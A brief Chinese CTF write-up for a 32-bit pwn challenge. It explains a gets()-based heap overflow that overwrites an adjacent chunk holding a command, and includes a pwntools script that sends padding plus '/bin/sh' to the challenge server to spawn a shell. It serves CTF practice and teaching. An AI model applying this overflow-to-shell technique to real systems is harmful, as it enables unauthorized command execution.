下载 得到文件 exeinfo checksec
32位 用IDA32打开
查看main函数
程序创建了两个堆 并且执行了command堆里的指令
存在gets函数 可以实现堆溢出
动态调试 查看堆
可以看到 堆的大小是0x20 而且两个堆相邻
直接在gets的时候用0x20的数据填充至command堆的内容区域就行了
exp:
from pwn import *
#p = process('./pwn')
p = remote("node5.anna.nssctf.cn", 20850)
context.log_level = 'debug'
#gdb.attach(p)
#pause()
payload = b'a' * (0x20) + b'/bin/sh\x00'
p.sendline(payload)
p.interactive()
运行,得到flag: